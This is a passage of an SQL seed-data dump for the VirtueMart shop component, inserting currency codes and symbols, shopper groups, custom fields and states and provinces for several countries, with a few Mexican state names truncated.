0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (177, 1, 'Ghanaian cedi', '', 'GHS', 936, 0, '₵', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (178, 1, 'Venezuelan bolívar', '', 'VEF', 937, 0, 'Bs', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (179, 1, 'Sudanese pound', '', 'SDG', 938, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (180, 1, 'Uruguay Peso', '', 'UYI', 940, 0, 'UYI', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (181, 1, 'Mozambican metical', '', 'MZN', 943, 0, 'MT', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (182, 1, 'WIR Euro', '', 'CHE', 947, 0, '€', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (183, 1, 'WIR Franc', '', 'CHW', 948, 0, 'CHW', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (184, 1, 'Central African CFA franc', '', 'XAF', 950, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (185, 1, 'East Caribbean dollar', '', 'XCD', 951, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (186, 1, 'West African CFA franc', '', 'XOF', 952, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (187, 1, 'CFP franc', '', 'XPF', 953, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (188, 1, 'Surinamese dollar', '', 'SRD', 968, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (189, 1, 'Malagasy ariary', '', 'MGA', 969, 0, 'MGA', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (190, 1, 'Unidad de Valor Real', '', 'COU', 970, 0, 'COU', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (191, 1, 'Afghan afghani', '', 'AFN', 971, 0, '؋', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (192, 1, 'Tajikistani somoni', '', 'TJS', 972, 0, 'ЅМ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (193, 1, 'Angolan kwanza', '', 'AOA', 973, 0, 'Kz', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (194, 1, 'Belarusian ruble', '', 'BYR', 974, 0, 'p.', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (195, 1, 'Bulgarian lev', '', 'BGN', 975, 0, 'лв', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (196, 1, 'Congolese franc', '', 'CDF', 976, 0, 'Fr', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (197, 1, 'Bosnia and Herzegovina convert', '', 'BAM', 977, 0, 'KM', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (198, 1, 'Mexican Unid', '', 'MXV', 979, 0, 'MXV', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (199, 1, 'Ukrainian hryvnia', '', 'UAH', 980, 0, '₴', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (200, 1, 'Georgian lari', '', 'GEL', 981, 0, 'ლ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (201, 1, 'Mvdol', '', 'BOV', 984, 0, 'BOV', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); -- -- Dumping data for table `#__virtuemart_customs` -- INSERT INTO `#__virtuemart_customs` ( `virtuemart_custom_id`, `custom_parent_id`, `admin_only`, `custom_title`, `custom_tip`, `custom_value`, `custom_field_desc`, `field_type`, `is_list`, `is_hidden`, `is_cart_attribute`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1,0, 0, 'COM_VIRTUEMART_RELATED_PRODUCTS', 'COM_VIRTUEMART_RELATED_PRODUCTS_TIP', '', 'COM_VIRTUEMART_RELATED_PRODUCTS_DESC', 'R', 0, 0, 0, 1, '2011-05-25 21:52:43', 62, '2011-05-25 21:52:43', 62, '0000-00-00 00:00:00', 0), (2,0, 0, 'COM_VIRTUEMART_RELATED_CATEGORIES', 'COM_VIRTUEMART_RELATED_CATEGORIES_TIP', NULL, 'COM_VIRTUEMART_RELATED_CATEGORIES_DESC', 'Z', 0, 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`, `published`) VALUES (2, 1, 'COM_VIRTUEMART_SHOPPERGROUP_DEFAULT', 'COM_VIRTUEMART_SHOPPERGROUP_DEFAULT_DESCR', 1, 1, 1), (1, 1, 'COM_VIRTUEMART_SHOPPERGROUP_GUEST', 'COM_VIRTUEMART_SHOPPERGROUP_GUEST_DESCR', 2, 1, 1); -- -- Dumping data for table `#__virtuemart_states` -- INSERT INTO `#__virtuemart_states` (`virtuemart_state_id`, `virtuemart_vendor_id`, `virtuemart_country_id`, `virtuemart_worldzone_id`, `state_name`, `state_3_code`, `state_2_code`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 1, 223, 0, 'Alabama', 'ALA', 'AL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (2, 1, 223, 0, 'Alaska', 'ALK', 'AK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (3, 1, 223, 0, 'Arizona', 'ARZ', 'AZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (4, 1, 223, 0, 'Arkansas', 'ARK', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (5, 1, 223, 0, 'California', 'CAL', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (6, 1, 223, 0, 'Colorado', 'COL', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (7, 1, 223, 0, 'Connecticut', 'CCT', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (8, 1, 223, 0, 'Delaware', 'DEL', 'DE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (9, 1, 223, 0, 'District Of Columbia', 'DOC', 'DC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (10, 1, 223, 0, 'Florida', 'FLO', 'FL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (11, 1, 223, 0, 'Georgia', 'GEA', 'GA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (12, 1, 223, 0, 'Hawaii', 'HWI', 'HI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (13, 1, 223, 0, 'Idaho', 'IDA', 'ID', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (14, 1, 223, 0, 'Illinois', 'ILL', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (15, 1, 223, 0, 'Indiana', 'IND', 'IN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (16, 1, 223, 0, 'Iowa', 'IOA', 'IA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (17, 1, 223, 0, 'Kansas', 'KAS', 'KS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (18, 1, 223, 0, 'Kentucky', 'KTY', 'KY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (19, 1, 223, 0, 'Louisiana', 'LOA', 'LA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (20, 1, 223, 0, 'Maine', 'MAI', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (21, 1, 223, 0, 'Maryland', 'MLD', 'MD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (22, 1, 223, 0, 'Massachusetts', 'MSA', 'MA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (23, 1, 223, 0, 'Michigan', 'MIC', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (24, 1, 223, 0, 'Minnesota', 'MIN', 'MN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (25, 1, 223, 0, 'Mississippi', 'MIS', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (26, 1, 223, 0, 'Missouri', 'MIO', 'MO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (27, 1, 223, 0, 'Montana', 'MOT', 'MT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (28, 1, 223, 0, 'Nebraska', 'NEB', 'NE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (29, 1, 223, 0, 'Nevada', 'NEV', 'NV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (30, 1, 223, 0, 'New Hampshire', 'NEH', 'NH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (31, 1, 223, 0, 'New Jersey', 'NEJ', 'NJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (32, 1, 223, 0, 'New Mexico', 'NEM', 'NM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (33, 1, 223, 0, 'New York', 'NEY', 'NY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (34, 1, 223, 0, 'North Carolina', 'NOC', 'NC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (35, 1, 223, 0, 'North Dakota', 'NOD', 'ND', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (36, 1, 223, 0, 'Ohio', 'OHI', 'OH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (37, 1, 223, 0, 'Oklahoma', 'OKL', 'OK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (38, 1, 223, 0, 'Oregon', 'ORN', 'OR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (39, 1, 223, 0, 'Pennsylvania', 'PEA', 'PA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (40, 1, 223, 0, 'Rhode Island', 'RHI', 'RI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (41, 1, 223, 0, 'South Carolina', 'SOC', 'SC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (42, 1, 223, 0, 'South Dakota', 'SOD', 'SD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (43, 1, 223, 0, 'Tennessee', 'TEN', 'TN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (44, 1, 223, 0, 'Texas', 'TXS', 'TX', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (45, 1, 223, 0, 'Utah', 'UTA', 'UT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (46, 1, 223, 0, 'Vermont', 'VMT', 'VT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (47, 1, 223, 0, 'Virginia', 'VIA', 'VA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (48, 1, 223, 0, 'Washington', 'WAS', 'WA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (49, 1, 223, 0, 'West Virginia', 'WEV', 'WV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (50, 1, 223, 0, 'Wisconsin', 'WIS', 'WI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (51, 1, 223, 0, 'Wyoming', 'WYO', 'WY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (52, 1, 38, 0, 'Alberta', 'ALB', 'AB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (53, 1, 38, 0, 'British Columbia', 'BRC', 'BC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (54, 1, 38, 0, 'Manitoba', 'MAB', 'MB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (55, 1, 38, 0, 'New Brunswick', 'NEB', 'NB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (56, 1, 38, 0, 'Newfoundland and Labrador', 'NFL', 'NL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (57, 1, 38, 0, 'Northwest Territories', 'NWT', 'NT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (58, 1, 38, 0, 'Nova Scotia', 'NOS', 'NS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (59, 1, 38, 0, 'Nunavut', 'NUT', 'NU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (60, 1, 38, 0, 'Ontario', 'ONT', 'ON', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (61, 1, 38, 0, 'Prince Edward Island', 'PEI', 'PE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (62, 1, 38, 0, 'Quebec', 'QEC', 'QC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (63, 1, 38, 0, 'Saskatchewan', 'SAK', 'SK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (64, 1, 38, 0, 'Yukon', 'YUT', 'YT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (65, 1, 222, 0, 'England', 'ENG', 'EN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (66, 1, 222, 0, 'Northern Ireland', 'NOI', 'NI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (67, 1, 222, 0, 'Scotland', 'SCO', 'SD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (68, 1, 222, 0, 'Wales', 'WLS', 'WS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (69, 1, 13, 0, 'Australian Capital Territory', 'ACT', 'AC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (70, 1, 13, 0, 'New South Wales', 'NSW', 'NS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (71, 1, 13, 0, 'Northern Territory', 'NOT', 'NT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (72, 1, 13, 0, 'Queensland', 'QLD', 'QL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (73, 1, 13, 0, 'South Australia', 'SOA', 'SA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (74, 1, 13, 0, 'Tasmania', 'TAS', 'TS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (75, 1, 13, 0, 'Victoria', 'VIC', 'VI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (76, 1, 13, 0, 'Western Australia', 'WEA', 'WA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (77, 1, 138, 0, 'Aguascalientes', 'AGS', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (78, 1, 138, 0, 'Baja California Norte', 'BCN', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (79, 1, 138, 0, 'Baja California Sur', 'BCS', 'BS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (80, 1, 138, 0, 'Campeche', 'CAM', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (81, 1, 138, 0, 'Chiapas', 'CHI', 'CS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (82, 1, 138, 0, 'Chihuahua', 'CHA', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (83, 1, 138, 0, 'Coahuila', 'COA', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (84, 1, 138, 0, 'Colima', 'COL', 'CM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (85, 1, 138, 0, 'Distrito Federal', 'DFM', 'DF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (86, 1, 138, 0, 'Durango', 'DGO', 'DO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (87, 1, 138, 0, 'Guanajuato', 'GTO', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (88, 1, 138, 0, 'Guerrero', 'GRO', 'GU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (89, 1, 138, 0, 'Hidalgo', 'HGO', 'HI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (90, 1, 138, 0, 'Jalisco', 'JAL', 'JA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (91, 1, 138, 0, 'M', 'EDM', 'EM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (92, 1, 138, 0, 'Michoac', 'MCN', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (93, 1, 138, 0, 'Morelos', 'MOR', 'MO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (94, 1, 138, 0, 'Nayarit', 'NAY', 'NY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (95, 1, 138, 0, 'Nuevo Le', 'NUL', 'NL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (96, 1, 138, 0, 'Oaxaca', 'OAX', 'OA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (97, 1, 138, 0, 'Puebla', 'PUE', 'PU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (98, 1, 138, 0, 'Quer', 'QRO', 'QU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (99, 1, 138, 0, 'Quintana Roo', 'QUR', 'QR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (100, 1, 138, 0, 'San Luis Potos', 'SLP', 'SP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (101, 1, 138, 0, 'Sinaloa', 'SIN', 'SI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (102, 1, 138, 0, 'Sonora', 'SON', 'SO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (103, 1, 138, 0, 'Tabasco', 'TAB', 'TA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (104, 1, 138, 0, 'Tamaulipas', 'TAM', 'TM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (105, 1, 138, 0, 'Tlaxcala', 'TLX', 'TX', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (106, 1, 138, 0, 'Veracruz', 'VER', 'VZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (107, 1, 138, 0, 'Yucat', 'YUC', 'YU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (108, 1, 138, 0, 'Zacatecas', 'ZAC', 'ZA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (109, 1, 30, 0, 'Acre', 'ACR', 'AC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (110, 1, 30, 0, 'Alagoas', 'ALG', 'AL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (111, 1, 30, 0, 'Amapá', 'AMP', 'AP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (112, 1, 30, 0, 'Amazonas', 'AMZ', 'AM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (113, 1, 30, 0, 'Bahía', 'BAH', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (114, 1, 30, 0, 'Ceará', 'CEA', 'CE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (115, 1, 30, 0, 'Distrito Federal', 'DFB', 'DF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (116, 1, 30, 0, 'Espírito Santo', 'ESS', 'ES', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (117, 1, 30, 0, 'Goiás', 'GOI', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (118, 1, 30, 0, 'Maranhão', 'MAR', 'MA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (119, 1, 30, 0, 'Mato Grosso', 'MAT', 'MT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 